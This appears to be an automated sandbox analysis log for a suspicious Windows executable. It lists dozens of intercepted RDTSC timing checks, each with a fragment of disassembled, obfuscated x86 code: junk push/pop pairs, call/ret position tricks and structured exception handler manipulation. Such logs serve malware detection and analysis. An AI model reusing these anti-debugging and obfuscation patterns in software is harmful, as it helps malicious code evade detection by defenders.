Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E999B0 second address: E999B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E999B4 second address: E999BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E999BA second address: E999C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9C4B6 second address: E9C4C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF9A1392266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9C4C0 second address: E9C520 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e jmp 00007FF9A052A496h 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FF9A052A488h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov di, 02F7h 0x00000035 push 00000000h 0x00000037 mov di, 8735h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jnp 00007FF9A052A48Ch 0x00000044 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9C520 second address: E9C52A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF9A1392266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9DEB4 second address: E9DEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007FF9A052A486h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9E4B0 second address: E9E511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FF9A1392268h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D2916h], eax 0x00000027 clc 0x00000028 call 00007FF9A1392272h 0x0000002d mov si, 5334h 0x00000031 pop edi 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D2671h], eax 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d pushad 0x0000003e jnl 00007FF9A1392268h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9EF81 second address: E9EF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF9A052A486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9ED2C second address: E9ED30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E9EF8B second address: E9EF8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA051F second address: EA052F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007FF9A1392266h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA1FFC second address: EA2022 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A492h 0x00000007 jmp 00007FF9A052A48Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2022 second address: EA203B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A1392275h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA203B second address: EA203F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA5C0A second address: EA5C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jne 00007FF9A1392276h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA5C2D second address: EA5C96 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+122D3568h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FF9A052A488h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push ecx 0x0000002f mov edi, dword ptr [ebp+122D3563h] 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FF9A052A488h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov di, dx 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FF9A052A48Ch 0x0000005d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA5C96 second address: EA5CB5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF9A139226Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007FF9A1392274h 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FF9A1392266h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA6B8E second address: EA6BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 mov dword ptr [ebp+122D1C1Fh], eax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FF9A052A488h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 and bx, B6B5h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FF9A052A488h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a jnp 00007FF9A052A48Ch 0x00000050 mov ebx, dword ptr [ebp+122D36A1h] 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA5DF8 second address: EA5DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA6BFA second address: EA6C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA89EA second address: EA89EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA6D34 second address: EA6DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FF9A052A488h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 or dword ptr [ebp+122D2998h], edi 0x00000028 mov ebx, 18B99B00h 0x0000002d push dword ptr fs:[00000000h] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FF9A052A488h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e jno 00007FF9A052A48Ch 0x00000054 mov dword ptr [ebp+122D2D92h], edx 0x0000005a mov dword ptr fs:[00000000h], esp 0x00000061 add bx, 74EFh 0x00000066 mov eax, dword ptr [ebp+122D0939h] 0x0000006c cld 0x0000006d push FFFFFFFFh 0x0000006f mov edi, 78273D65h 0x00000074 nop 0x00000075 jp 00007FF9A052A490h 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA89EE second address: EA89F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA89F2 second address: EA89FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA89FC second address: EA8A1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF9A1392270h 0x0000000c jng 00007FF9A1392266h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA8FB5 second address: EA8FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA8FBB second address: EA8FD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF9A1392273h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA8FD9 second address: EA9050 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF9A052A490h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FF9A052A488h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007FF9A052A488h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 sub dword ptr [ebp+1246C3CDh], edx 0x00000048 mov edi, dword ptr [ebp+122D1B79h] 0x0000004e push 00000000h 0x00000050 adc ebx, 78732080h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jno 00007FF9A052A488h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA9050 second address: EA905B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF9A1392266h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA9F89 second address: EA9F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA9F8D second address: EA9F97 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA9F97 second address: EA9FA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FF9A052A486h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA9214 second address: EA922E instructions: 0x00000000 rdtsc 0x00000002 je 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FF9A139226Ch 0x00000014 jbe 00007FF9A1392266h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA922E second address: EA9234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA9234 second address: EA9238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAB160 second address: EAB170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FF9A052A486h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAB170 second address: EAB188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392274h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAC37B second address: EAC38E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF9A052A488h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAC38E second address: EAC392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAC392 second address: EAC396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAC396 second address: EAC39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAC39C second address: EAC452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FF9A052A486h 0x00000009 jc 00007FF9A052A486h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FF9A052A488h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov ebx, esi 0x00000036 jg 00007FF9A052A49Fh 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007FF9A052A488h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d mov bx, 6E48h 0x00000061 mov edi, dword ptr [ebp+122D369Dh] 0x00000067 mov eax, dword ptr [ebp+122D0735h] 0x0000006d mov di, cx 0x00000070 push FFFFFFFFh 0x00000072 jnc 00007FF9A052A489h 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FF9A052A490h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAC452 second address: EAC45C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF9A139226Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAD45F second address: EAD463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAD463 second address: EAD471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAD471 second address: EAD475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAD475 second address: EAD47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAE22C second address: EAE230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB2FFC second address: EB3000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB3000 second address: EB3023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FF9A052A490h 0x00000011 jmp 00007FF9A052A48Ah 0x00000016 je 00007FF9A052A48Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB3023 second address: EB3027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB3027 second address: EB302D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB36CD second address: EB36D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB36D3 second address: EB36F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A497h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB36F6 second address: EB36FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB36FA second address: EB3771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 jmp 00007FF9A052A494h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FF9A052A488h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D390Dh] 0x0000002f sub ebx, dword ptr [ebp+122D257Ch] 0x00000035 push 00000000h 0x00000037 mov edi, 26DF9F65h 0x0000003c mov dword ptr [ebp+122D1D9Eh], edi 0x00000042 xchg eax, esi 0x00000043 push edi 0x00000044 jnc 00007FF9A052A488h 0x0000004a pushad 0x0000004b popad 0x0000004c pop edi 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF9A052A495h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EAF38A second address: EAF3A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB46F2 second address: EB4779 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FF9A052A488h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+124531CDh], edi 0x0000002b clc 0x0000002c push 00000000h 0x0000002e call 00007FF9A052A48Ch 0x00000033 jmp 00007FF9A052A495h 0x00000038 pop edi 0x00000039 push edi 0x0000003a mov dword ptr [ebp+1244C750h], esi 0x00000040 pop edi 0x00000041 push 00000000h 0x00000043 or edi, 613F2700h 0x00000049 push eax 0x0000004a push edi 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FF9A052A498h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB0276 second address: EB0289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A139226Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB11DF second address: EB11E9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF9A052A48Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB48AA second address: EB493A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF9A1392268h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FF9A1392268h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e add dword ptr [ebp+122D1E4Fh], eax 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov edi, dword ptr [ebp+122D3905h] 0x00000041 mov eax, dword ptr [ebp+122D0895h] 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007FF9A1392268h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 mov ebx, dword ptr [ebp+122D2B63h] 0x00000067 push FFFFFFFFh 0x00000069 jg 00007FF9A139226Ch 0x0000006f push eax 0x00000070 jc 00007FF9A139227Eh 0x00000076 push eax 0x00000077 push edx 0x00000078 jng 00007FF9A1392266h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB5A42 second address: EB5A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB5A46 second address: EB5A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EB5A4A second address: EB5A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FF9A052A486h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5DE48 second address: E5DE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5DE50 second address: E5DE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5DE58 second address: E5DE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EBF68D second address: EBF6BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnp 00007FF9A052A486h 0x0000000b js 00007FF9A052A486h 0x00000011 popad 0x00000012 jmp 00007FF9A052A493h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jo 00007FF9A052A4B5h 0x0000001f pushad 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EBF850 second address: EBF85A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
